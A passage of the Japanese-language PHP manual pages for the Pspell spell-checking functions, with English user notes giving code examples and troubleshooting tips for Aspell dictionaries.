If, however, you have many customers using your spell checking script, this method does not scale well and you should consider spending the time to make the libs work properly.
webmaster at script-tease dot net 11-Apr-2004 07:26
Easy way to make a spellchecker:

<?

function spellcheck ( $string ) {
    $words = preg_split('/[\W]+?/',$string);
    $misspelled = $return = array();
    $int = pspell_new('en');
    foreach ($words as $value) {
        if (!pspell_check($int, $value)) {
            $misspelled[] = $value;
        }
    }
    foreach ($misspelled as $value) {
        $return[$value] = pspell_suggest($int, $value);
    }
    return $return;
}

?>
jrweir _a_t_ yahoo 29-Mar-2004 11:15
I had the same problems after following the detailed instructions for installing on windows but was able to solve them by doing the following:

first, I copied all the files in the data directory of the aspell install (ie. C:\Program Files\Aspell\data) to a unix machine and ran dos2unix on all of the files and then copied them back.

second, added this line before the pspell_new("en") call
pspell_config_create("en");

hope this works for you too.
kevina at gnu dot org 12-Jan-2003 02:19
Aspell Author Here.

Since Aspell 0.50, Pspell is no longer used.  It is not necessary to download and install the Pspell package, only Aspell 0.50 (or better) is required.  Aspell now provided a backwards compatibility interface for programs expecting the old Pspell interface (such as PHP).

Even though Aspell now provided a new "Aspell" interface this, the PHP Pspell interface is the one you want to use.  The Aspell PHP interface is the one used with a *very* old version of Aspell as the manual says.

Sorry if this is confusing, but it is not really my fought as I have no control over PHP development.  Eventually a new Aspell interface should be provided for PHP which uses the new Aspell interface provided with Aspell 0.50 but for now the Pspell interface will work just fine.

Note: If you wish to use an older version of Aspell (_before_ 0.50) than both Aspell and Pspell are required.
csnyder at chxo dot com 11-Oct-2002 12:37
As an alternative to mucking about with the compiled-in aspell/pspell functions, which only check word by word, one could write a script that calls aspell as a shell exec to check a whole block of text:

http://chxo.com/scripts/spellcheck.php
(there is a view-source option)

Not sure about Linux or Windows, but installing aspell on FreeBSD was trivially easy from the ports collection. No doubt such a script could be easily modified to use ispell instead if you'd rather.


ユーザーの単語リストに単語を追加する

  • ≪ Pspell 関数
  • pspell_add_to_session ≫
  • PHP Manual
  • Pspell 関数
  • ユーザーの単語リストに単語を追加する

pspell_add_to_personal

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_add_to_personal — ユーザーの単語リストに単語を追加する

説明

pspell_add_to_personal ( int $dictionary , string $word ) : bool

pspell_add_to_personal() はユーザーの単語リスト
に単語を追加します。ディレクトリをオープンするために
pspell_new_config() を
pspell_config_personal() とともに使用した場合、
pspell_save_wordlist() で単語リストを保存することが可能です。

パラメータ

dictionary

word

追加する単語。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_save_wordlist($pspell_link);
?>

注意

注意:

この関数は、pspell .11.2 と aspell .32.5 以降でない限り動作しないことに注意してください。

User Contributed Notes

There are no user contributed notes for this page.


現在のセッションの単語リストに単語を追加する

  • ≪ pspell_add_to_personal
  • pspell_check ≫
  • PHP Manual
  • Pspell 関数
  • 現在のセッションの単語リストに単語を追加する

pspell_add_to_session

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_add_to_session — 現在のセッションの単語リストに単語を追加する

説明

pspell_add_to_session ( int $dictionary , string $word ) : bool

pspell_add_to_session() は、 現在のセッションに関連する単語リストに単語を追加します。この関数は、 pspell_add_to_personal() に似ています。

パラメータ

dictionary

word

追加する単語。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

admin at codefisher dot org 12-Sep-2007 01:08
This function does not accept hyphenated words, which is kind of annoying.


単語をチェックする

  • ≪ pspell_add_to_session
  • pspell_clear_session ≫
  • PHP Manual
  • Pspell 関数
  • 単語をチェックする

pspell_check

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_check — 単語をチェックする

説明

pspell_check ( int $dictionary , string $word ) : bool

pspell_check() は単語のスペルをチェックします。

パラメータ

dictionary

word

チェックする単語。

返り値

スペルが正しい場合に true、そうでない場合に false を返します。

例

例1 pspell_check() の例

<?php
$pspell_link = pspell_new("en");

if (pspell_check($pspell_link, "testt")) {
    echo "This is a valid spelling";
} else {
    echo "Sorry, wrong spelling";
}
?>

User Contributed Notes

digit6 at gmail dot com 30-May-2017 07:36
A better pattern for splitting the words of a query up is:

preg_match_all('/[^\w\']/+/', $query, $word)
// $words has the words.
Jcart 05-Oct-2005 06:50
<?php

//should be using explode instead of implode
//$word = implode(" ", $message);
$word = explode(" ", $message);
foreach($word as $k => $v) {
   if (pspell_check($pspell_link, $v)) {
      echo "spelled right";
   } else {
      echo "Sorry, wrong spelling";
   };
};

?>
chris at candm dot org dot uk 12-May-2005 05:46
<?php
/*
I had to write these routines to highlight spellings in a WYSIWYG editor.
pspell() barfed at HTML tags and entities, so this code deals with them.
ClearSpell() allows you to clear up the spellchecker mark up afterwards.*/
?>
<html>
<head>
<style>
acronym.spell
{
text-decoration:underline;
color:red;
cursor:help;
}
</style>
</head>
<body>
<?php
    $t = "<font color=blue>text herre &amp; some more</font>";
    echo "Before:$t";
    $t = SpellCheck($t);
    echo "<hr>After SpellCheck: $t";
    $t = ClearSpell($t);
    echo "<hr>After ClearSpell: $t";
?>
</body>
</html>

<?php

function SpellCheck($text)
{
//depends on fnSpell()
// Extracts text from HTML code. In addition to normal word separators,  HTML tags
// and HTML entities also function as word delimiters

    $pspell_link = pspell_new("en"); //0. Get the dictionary
    $strings = explode(">", $text);  //1. Split $text on '>' to give us $strings with 0 or 1 HTML tags at the end
    $nStrings = count($strings);

    for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
    {
        $string = $strings[$cStrings]; //2. For each string from 1

        if ($string =='')
            continue;

        $temp  = explode('<', $string); //2.1   Split $string from $strings on '>' to give us a $tag and $cdata
        $tag = $temp[1];
        $cdata = $temp[0];

        $subCdatas = explode(";", $cdata);  //2.2 Split &cdata on ';' to give $subcdatas with 0 or 1 HTML entities on the end
        $nSubCdatas = count($subCdatas);    //2.3   For each $subCdata from $subcdatas in 2.2

        for ($cSubCdatas = 0; $cSubCdatas < $nSubCdatas; $cSubCdatas++)
        {
            $subCdata = $subCdatas[$cSubCdatas];

            if ($subCdata == '')
                continue;

            $temp = explode('&', $subCdata); //2.3.1     Split the $subCdata on '&' to give us a $subCdataEntity and a $subCdataWithNoEntities
            $subCdataEntity = $temp[1];
            $subCdataWithNoEntities = $temp[0];
            $subCdataWithNoEntities = fnSpell($pspell_link, $subCdataWithNoEntities); //2.3.2     Spellcheck the $cdataWithNoEntities

            if (!$subCdataEntity ) //2.3.3        Put the $subCdataEntity, a '&' and the $cdataWithNoEntities back into the $subCdata from 2.2
                $subCdata = $subCdataWithNoEntities;
            else
                $subCdata = $subCdataWithNoEntities. '&' . $subCdataEntity . ';' ;

            $subCdatas[$cSubCdatas] = $subCdata; //2.3.4        Put the $subCdata back into the array of $subCdatas
        }

        $cdata = implode("", $subCdatas); //2.4    Implode the array of $subCdatas back into the $cdata

        if ($tag) //2.5    Put the $tag , '>' and $cdata back into $string
            $string = $cdata . '<' . $tag . '>';
        else
            $string = $cdata;

        $strings[$cStrings] = $string; //2.6    Put $string back in its place in $strings
    }

    $text = implode('', $strings);     //3  Implode the $strings back into $text
    return $text;

}

function fnSpell($pspell_link, $string)
{

   preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

   for ($i = 0; $i < count($words[0]); $i++)
   {
        $currentword = $words[0][$i];

        if (!pspell_check($pspell_link, $currentword))
        {
            $wordarray = pspell_suggest($pspell_link, $currentword);
                $words = implode(', ', $wordarray);
                $suggest = "<acronym class='spell' title='$words'>$currentword</acronym class='spell'>";
            $string = str_replace($currentword, $suggest, $string);
        }

    }
    return $string;
}

function ClearSpell($text)
{
    $strings = explode(">", $text);
    $nStrings = count($strings);

    for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
    {
        $string = $strings[$cStrings];

        if ($string =='')
            continue;

        $temp  = explode('<', $string);
        $tag = $temp[1];
        $cdata = $temp[0];

        if ( strstr($tag, 'acronym') && strstr($tag, "class='spell'") )
            $string = $cdata;
        else
            $string = $cdata . '<' . $tag . '>';

        $strings[$cStrings] = $string;
    }

    $text = implode('', $strings);
    return $text;
}
?>
si at youbeenx dot com 22-Mar-2005 05:32
I felt that it would help to expand on batch spell checking using this function. The previously posted example implodes using spaces as the separator for each word. There are however situations in which doing this will not return the desired result. For example, "Hello, I like coding." will return an array with two problems, "Hello," and "coding.", both these words are spelt correctly, but pspell_check() will deem them as spelled incorrectly because a comma or a period is being passed in to the function along with the word. The following example allows you to extract only the words (using regular expressions to ignore grammar such as periods or commas) in to an array and then add in html font tags to highlight all words spelled incorrectly red before returning the string.

<?

Function SpellCheck($string) {

    $pspell_link = pspell_new("en");
    preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

    for ($i = 0; $i < count($words[0]); $i++) {

        if (!pspell_check($pspell_link, $words[0][$i])) {

            $string = str_replace($words[0][$i], "<font color=\"#FF0000\">" . $words[0][$i] . "</font>", $string);

        }

    }

    return $string;

}

?>


現在のセッションをクリアする

  • ≪ pspell_check
  • pspell_config_create ≫
  • PHP Manual
  • Pspell 関数
  • 現在のセッションをクリアする

pspell_clear_session

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_clear_session — 現在のセッションをクリアする

説明

pspell_clear_session ( int $dictionary ) : bool

pspell_clear_session() は、 現在のセッションをクリアします。現在の単語リストはブランクになり、 例えば pspell_save_wordlist() でこのリストを保存しても何もおきません。

パラメータ

dictionary

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pspell_add_to_personal() の例

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_clear_session($pspell_link);
pspell_save_wordlist($pspell_link);    //"Vlad" は保存されません
?>

User Contributed Notes

There are no user contributed notes for this page.


辞書をオープンする際に使用する設定を作成する

  • ≪ pspell_clear_session
  • pspell_config_data_dir ≫
  • PHP Manual
  • Pspell 関数
  • 辞書をオープンする際に使用する設定を作成する

pspell_config_create

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_create — 辞書をオープンする際に使用する設定を作成する

説明

pspell_config_create ( string $language , string $spelling = "" , string $jargon = "" , string $encoding = "" ) : int

辞書をオープンする際に使用する設定を作成します。

pspell_config_create() は、
pspell_new() の構文に非常によく似ています。実際、
pspell_new_config() の直後に
pspell_config_create() を使用した場合、全く同じ
結果となります。しかし、新しい設定を作成した後、
pspell_new_config() をコールする前に関数
pspell_config_*() を使用することで
いくつかの進んだ機能が使用できます。

より詳細な情報と例については、pspell Web サイト » http://aspell.net/ のオンラインマニュアルを参照ください。

パラメータ

language

パラメータ language は、2 文字の ISO 639 言語コードと オプションでダッシュまたはアンダースコアの後に 2 文字の ISO 3166 国コードからなる言語コードです。

spelling

パラメータ spelling は、英語のように複数のスペルがある言語に関して スペルの指定を行うものです。指定可能な値は、 'american', 'british', 'canadian'です。

jargon

パラメータ jargon は、同じ language および spelling パラメータを有する 2 つの異なる単語リストを区別するための 追加情報を有しています。

encoding

パラメータ encoding は、単語のエンコーディングとして 予想されるものです。有効な値は、'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32' です。このパラメータはよくテストされていないため、 使用する際には注意してください。

返り値

pspell 設定 ID、あるいはエラー時に false を返します。

例

例1 pspell_config_create()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_personal($pspell_config, "en");
?>

User Contributed Notes

There are no user contributed notes for this page.


Location of language data files

  • ≪ pspell_config_create
  • pspell_config_dict_dir ≫
  • PHP Manual
  • Pspell 関数
  • Location of language data files

pspell_config_data_dir

(PHP 5, PHP 7, PHP 8)

pspell_config_data_dir — Location of language data files

説明

pspell_config_data_dir ( int $config , string $directory ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

alexxed at gmail dot com 15-Oct-2007 12:21
Here's an example of how to use pspell when you don't want or you can't use the dictionaries installed on the system.
<?
$text_to_check = 'I can sspeak English';
// optional. clean text a bit
$clean_text_to_check = preg_replace('/[^a-z0-9\-\.!;]+/i', ' ', $text_to_check);
// get a word list
$word_list = preg_split('/\s+/', $clean_text_to_check);

$pspell_config = pspell_config_create("en", null, null, 'utf-8');

// if the aspell dictionaries that you want are not installed,
// copy the aspell dictionaries and set the path to the dictionaries here
pspell_config_data_dir($pspell_config, "/home/alex/dictionaries/");
pspell_config_dict_dir($pspell_config, "/home/alex/dictionaries/");
$pspell_link = pspell_new_config($pspell_config);

foreach($word_list as $word) {

    if (!pspell_check($pspell_link, trim($word))) {
        $suggestions = pspell_suggest($pspell_link, trim($word));

        echo $word . ' misspelled <br />';
        foreach ($suggestions as $suggestion) {
            echo "\t Possible spelling: $suggestion <br />";
        }
    }
    else {
        // correct spelling
    }
}
?>


メイン単語リストの場所

  • ≪ pspell_config_data_dir
  • pspell_config_ignore ≫
  • PHP Manual
  • Pspell 関数
  • メイン単語リストの場所

pspell_config_dict_dir

(PHP 5, PHP 7, PHP 8)

pspell_config_dict_dir — メイン単語リストの場所

説明

pspell_config_dict_dir ( int $config , string $directory ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


長さが N 文字未満の単語を無視する

  • ≪ pspell_config_dict_dir
  • pspell_config_mode ≫
  • PHP Manual
  • Pspell 関数
  • 長さが N 文字未満の単語を無視する

pspell_config_ignore

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_ignore — 長さが N 文字未満の単語を無視する

説明

pspell_config_ignore ( int $config , int $min_length ) : bool

pspell_config_ignore() は、 pspell_new_config() をコールする前に使用しなければなりません。 この関数は、スペルチェッカに無視させる短い単語の長さを指定します。

パラメータ

config

min_length

min_length 文字より短い単語をスキップします。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pspell_config_ignore()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_ignore($pspell_config, 5);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "abcd");    // エラーとはなりません
?>

User Contributed Notes

There are no user contributed notes for this page.


返される提案の数のモードを変更する

  • ≪ pspell_config_ignore
  • pspell_config_personal ≫
  • PHP Manual
  • Pspell 関数
  • 返される提案の数のモードを変更する

pspell_config_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_mode — 返される提案の数のモードを変更する

説明

pspell_config_mode ( int $config , int $mode ) : bool

pspell_config_mode() は、
pspell_new_config() のコール前に設定を行う際に使用します。この関数は、
pspell_suggest() により返される修正候補の数を定義します。

パラメータ

config

mode

パラメータ mode は、スペルチェッカの動作モードです。 使用可能なモードを以下に示します。

  • PSPELL_FAST - 高速モード (修正候補の数は最小)
  • PSPELL_NORMAL - 通常モード (修正候補はより多い)
  • PSPELL_BAD_SPELLERS - 低速モード (修正候補は多い)

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pspell_config_mode() の例

<?php
$pspell_config = pspell_config_create("en");
pspell_config_mode($pspell_config, PSPELL_FAST);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

User Contributed Notes

There are no user contributed notes for this page.


個人の単語リストを保持するファイルを設定する

  • ≪ pspell_config_mode
  • pspell_config_repl ≫
  • PHP Manual
  • Pspell 関数
  • 個人の単語リストを保持するファイルを設定する

pspell_config_personal

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_personal — 個人の単語リストを保持するファイルを設定する

説明

pspell_config_personal ( int $config , string $filename ) : bool

個人の単語リストファイルを設定します。個人の単語リストは、 pspell_new_config()をコールした後にロードされ、 標準的な単語リストに追加されて使用されます。このファイルは、 pspell_save_wordlist() により個人的な単語リスト が保存されるファイルでもあります。

pspell_config_personal() は、 pspell_new_config() をコールする前に設定を行うために使用する必要があります。

パラメータ

config

filename

個人の単語リスト。存在しない場合は作成します。PHP の実行ユーザー (たとえば nobody) が書き込み可能である必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pspell_config_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

注意

注意:

この関数は、 pspell .11.2 および aspell .32.5 以降でない限り動作しないことに注意してください。

User Contributed Notes

Anonymous 05-Feb-2009 07:49
There is no error if the file does not exists. So if you are debugging, check wheter the file really exists.


置換候補を保持するファイルを設定する

  • ≪ pspell_config_personal
  • pspell_config_runtogether ≫
  • PHP Manual
  • Pspell 関数
  • 置換候補を保持するファイルを設定する

pspell_config_repl

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_repl — 置換候補を保持するファイルを設定する

説明

pspell_config_repl ( int $config , string $filename ) : bool

置換候補を保持するファイルを設定します。

置換の組は、スペルチェッカの品質を改善します。 単語のスペルミスをした場合、そして、適当な修正候補がリストにあった場合、 pspell_store_replacement() を置換候補を保存するために使用し、置換候補を含む単語リストを保存するために pspell_save_wordlist()を使用することが可能です。

pspell_config_repl() は、 pspell_new_config() をコールする前に設定を行うために使用する必要があります。

パラメータ

config

filename

このファイルは PHP の実行ユーザー (たとえば nobody) が書き込み可能である必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pspell_config_repl()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

注意

注意:

この関数は、pspell .11.2 および aspell .32.5 以降でない限り動作しないことに注意してください。

User Contributed Notes

There are no user contributed notes for this page.


複合語を有効な単語の組み合わせとして考慮する

  • ≪ pspell_config_repl
  • pspell_config_save_repl ≫
  • PHP Manual
  • Pspell 関数
  • 複合語を有効な単語の組み合わせとして考慮する

pspell_config_runtogether

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_runtogether — 複合語を有効な単語の組み合わせとして考慮する

説明

pspell_config_runtogether ( int $config , bool $allow ) : bool

この関数は、複合語を正しい複合語として処理するかどうかを定義します。 つまり、"thecat" には、二つの単語の間に空白はありませんが、 正しい複合語となります。この設定の変更は、 pspell_check() による返り値にのみ影響を与えます。 pspell_suggest() は、この場合でも修正候補を返します。

pspell_config_runtogether() は、 pspell_new_config() をコールする前に設定を行うために使用する必要があります。

パラメータ

config

allow

連続した単語を複合語として扱う場合な true、 それ以外の場合は false。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pspell_config_runtogether()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_runtogether($pspell_config, true);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

User Contributed Notes

There are no user contributed notes for this page.


単語リストと共に置換リストを保存するかどうかを定義する

  • ≪ pspell_config_runtogether
  • pspell_new_config ≫
  • PHP Manual
  • Pspell 関数
  • 単語リストと共に置換リストを保存するかどうかを定義する

pspell_config_save_repl

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_save_repl — 単語リストと共に置換リストを保存するかどうかを定義する

説明

pspell_config_save_repl ( int $config , bool $save ) : bool

pspell_config_save_repl() は、 pspell_save_wordlist() が単語リストと共に置換リストを保存するかどうかを定義します。 通常はこの関数を使用する必要はありません。なぜなら、 pspell_config_repl() を使用した場合は置換の組は pspell_save_wordlist() により保存され、 そうでない場合には置換の組は保存されないためです。

pspell_config_save_repl() は、 pspell_new_config() のコール前に設定を行う際に使用します。

パラメータ

config

save

置換リストを保存する場合に true、それ以外の場合に false。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、pspell .11.2およびaspell .32.5 以降を有していない場合には 動作しないことに注意してください。

User Contributed Notes

There are no user contributed notes for this page.


指定した設定に基づき新規辞書をロードする

  • ≪ pspell_config_save_repl
  • pspell_new_personal ≫
  • PHP Manual
  • Pspell 関数
  • 指定した設定に基づき新規辞書をロードする

pspell_new_config

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_new_config — 指定した設定に基づき新規辞書をロードする

説明

pspell_new_config ( int $config ) : int|false

pspell_new_config() は、 pspell_config_create() で作成され、 関数 pspell_config_*() で修正された設定を使用して 新規辞書をオープンします。この方法は最も柔軟で、 pspell_new() および pspell_new_personal() で提供された全ての機能を有しています。

パラメータ

config

パラメータ config は、config が作成された際に pspell_config_create() により返されたパラメータです。

返り値

成功した場合に辞書リンク ID を返すか、 失敗した場合に false を返します。

例

例1 pspell_new_config()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);
?>

User Contributed Notes

soapergem at gmail dot com 19-Aug-2008 08:34
Today I ran into an interesting problem that I thought I'd share here to save the next developer that ends up in the same situation a whole lot of trouble. I have been running PHP5 as a FastCGI module on a Windows IIS server, and I recently installed the Aspell library and enabled the pspell extension in my php.ini file. I also installed the English Aspell dictionary. But when I went to use pspell, I was getting ambiguous errors that would terminate script execution without warning.

So I started to break things down, and came to the conclusion that the following code successfully executed its first line, but broke on the last line with the call to pspell_new_config:

<?php

$pspell_config = pspell_config_create('en');
$pspell_link = pspell_new_config($pspell_config);

?>

This returned a FastCGI error in the browser, with error number -2147467259 (0x80004005). By luck, I happened to think to try the same script via the command line, which gave a much more descriptive error. What happened was that the dictionary installer created the *.dat files in the Aspell\data directory using the Windows standard CRLF "\r\n" instead of the UNIX standard "\n" for line feeds. By changing these all back to the UNIX standard, everything worked. It's apparently very touchy about these line feeds, so if you're wracking your brain over why pspell_new_config is breaking your scripts and you're using a Windows server, start by ensuring that there aren't any extraneous "\r" characters in your dictionary files.


個人の単語リストを有する新規辞書をロードする

  • ≪ pspell_new_config
  • pspell_new ≫
  • PHP Manual
  • Pspell 関数
  • 個人の単語リストを有する新規辞書をロードする

pspell_new_personal

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_new_personal — 個人の単語リストを有する新規辞書をロードする

説明

pspell_new_personal ( string $filename , string $language , string $spelling = "" , string $jargon = "" , string $encoding = "" , int $mode = 0 ) : int|false

pspell_new_personal() は、個人の単語リストと共に
新規辞書をオープンし、辞書リンクIDを返します。この ID は他の
pspell 関数で使用されます。単語リストは修正可能で、必要に応じて
pspell_save_wordlist() で保存することも可能です。
しかし、置換の組は保存されません。置換の組を保存するには、
pspell_config_create() を用いて設定を作成し、
pspell_config_personal() で個人の単語リストを
設定し、pspell_config_repl() で置換のファイルを
設定し、pspell_new_config() で新規の辞書を
オープンします。

詳細な情報および例については、pspell の Web サイト :» http://aspell.net/ にあるインラインマニュアルを参照ください。

パラメータ

filename

個人リストに追加された単語が保存される場所を指定します。 この場所には '/' で始まる絶対パスのファイル名を指定する必要があります。 そうでない場合は $HOME からの相対パスになりますが、 これは多くのシステムでは、"/root" であり、 おそらく望ましい結果とはならないためです。

language

2 文字の ISO 639 言語コードと オプションでダッシュまたはアンダースコアの後に 2 文字の ISO 3166 国コードからなる言語コードです。

spelling

英語のように複数のスペルがある言語に関して スペルの指定を行うものです。指定可能な値は、 'american', 'british', 'canadian'です。

jargon

同じ language および spelling パラメータを有する 2 つの異なる単語リストを区別するための 追加情報を有しています。

encoding

単語のエンコーディングとして予想されるもの。有効な値は、 utf-8, iso8859-*, koi8-r, viscii, cp1252, machine unsigned 16, machine unsigned 32 です。

mode

スペルチェッカの動作モードです。 使用可能なモードを以下に示します。

  • PSPELL_FAST - 高速モード (修正候補の数は最小)
  • PSPELL_NORMAL - 通常モード (修正候補はより多い)
  • PSPELL_BAD_SPELLERS - 低速モード (修正候補は多い)
  • PSPELL_RUN_TOGETHER - つながった単語を複合語 （legal compound）として考慮します。この場合、"thecat" には二つの 単語の間に空白はありませんが複合語となります。この設定の変更は pspell_check() から返される結果にのみ影響します。 設定変更後も pspell_suggest() は修正候補を返します。
mode は、これらのさまざまな定数を用いたビットマスクです。 しかし PSPELL_FAST、 PSPELL_NORMAL および PSPELL_BAD_SPELLERS は相反するため、 この中のひとつを選択する必要があります。

返り値

その他の pspell 関数で使用する辞書リンク ID を返します。

例

例1 pspell_new_personal()

<?php
$pspell_link = pspell_new_personal ("/var/dictionaries/custom.pws",
        "en", "", "", "", PSPELL_FAST|PSPELL_RUN_TOGETHER);
?>

User Contributed Notes

There are no user contributed notes for this page.


新規辞書をロードする

  • ≪ pspell_new_personal
  • pspell_save_wordlist ≫
  • PHP Manual
  • Pspell 関数
  • 新規辞書をロードする

pspell_new

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_new — 新規辞書をロードする

説明

pspell_new ( string $language , string $spelling = "" , string $jargon = "" , string $encoding = "" , int $mode = 0 ) : int|false

pspell_new() は、新規の辞書をロードして 辞書リンク ID を返します。このリンク ID は、他の pspell 関数で使用されます。

詳細な情報および例については、pspell の Web サイト :» http://aspell.net/ にあるインラインマニュアルを参照ください。

パラメータ

language

パラメータ language は、2 文字の ISO 639 言語コードと オプションでダッシュまたはアンダースコアの後に 2 文字の ISO 3166 国コードからなる言語コードです。

spelling

パラメータ spelling は、英語のように複数のスペルがある言語に関して スペルの指定を行うものです。指定可能な値は、 'american', 'british', 'canadian'です。

jargon

パラメータ jargon は、同じ language および spelling パラメータを有する 2 つの異なる単語リストを区別するための 追加情報を有しています。

encoding

パラメータ encoding は、単語のエンコーディングとして 予想されるものです。有効な値は、'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32' です。このパラメータはよくテストされていないため、 使用する際には注意してください。

mode

パラメータ mode は、スペルチェッカの動作モードです。 使用可能なモードを以下に示します。

  • PSPELL_FAST - 高速モード (修正候補の数は最小)
  • PSPELL_NORMAL - 通常モード (修正候補はより多い)
  • PSPELL_BAD_SPELLERS - 低速モード (修正候補は多い)
  • PSPELL_RUN_TOGETHER - つながった単語を複合語 （legal compound）として考慮します。この場合、"thecat" には二つの 単語の間に空白はありませんが複合語となります。この設定の変更は pspell_check() から返される結果にのみ影響します。 設定変更後も pspell_suggest() は修正候補を返します。
mode は、これらのさまざまな定数を用いたビットマスクです。 しかし PSPELL_FAST、 PSPELL_NORMAL および PSPELL_BAD_SPELLERS は相反するため、 この中のひとつを選択する必要があります。

返り値

成功した場合にディレクトリリンク識別子、失敗した場合に false を返します。

例

例1 pspell_new()

<?php
$pspell_link = pspell_new("en", "", "", "",
                           (PSPELL_FAST|PSPELL_RUN_TOGETHER));
?>

User Contributed Notes

wookie 29-Sep-2008 11:52
Just as a small tip, I noticed that when you call pspell_new multiple times, php does not free memory usage when the resource is destroyed, but only when your entire script has completely finished. So if you create a pspell_link resource and you intend to use it again somewhere else, instead of calling pspell_new again, keep track of your original pspell_link resource instantiation, and use it again, your script will run much more efficiently.

I was switching between 16 dictionaries by just calling a new pspell_new everytime, my memory usage on the server grew until i hit a failure/php core dump. :-/ So i stored each pspell resource in an array keyed by language, and checked if the resource existed first, before creating one if needed.

I hope that helps someone.
allan at wagawaga dot dk 21-Aug-2008 05:00
I think the language and spelling parameters differs on different PHP versions and/or aspell/UNIX distributions.

My PHP 5.2.6 Debian ignores the spelling parameter.

Instead:

For Americans use en_US as language.
For British use en_GB (not en_UK)
For Canadian use en_CA


個人の単語リストをファイルに保存する

  • ≪ pspell_new
  • pspell_store_replacement ≫
  • PHP Manual
  • Pspell 関数
  • 個人の単語リストをファイルに保存する

pspell_save_wordlist

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_save_wordlist — 個人の単語リストをファイルに保存する

説明

pspell_save_wordlist ( int $dictionary ) : bool

pspell_save_wordlist() は、 現在のセッションから個人の単語リストを保存します。 ファイルの位置は pspell_config_personal() および(オプションで) pspell_config_repl() で指定されている必要があります。

パラメータ

dictionary

pspell_new_personal() でオープンした辞書リンク ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/tmp/dicts/newdict");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_save_wordlist($pspell_link);
?>

注意

注意:

この関数は、pspell .11.2 および aspell .32.5 以降がない限り動作しないことに注意してください。

User Contributed Notes

There are no user contributed notes for this page.


単語を置換する組を保存する

  • ≪ pspell_save_wordlist
  • pspell_suggest ≫
  • PHP Manual
  • Pspell 関数
  • 単語を置換する組を保存する

pspell_store_replacement

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_store_replacement — 単語を置換する組を保存する

説明

pspell_store_replacement ( int $dictionary , string $misspelled , string $correct ) : bool

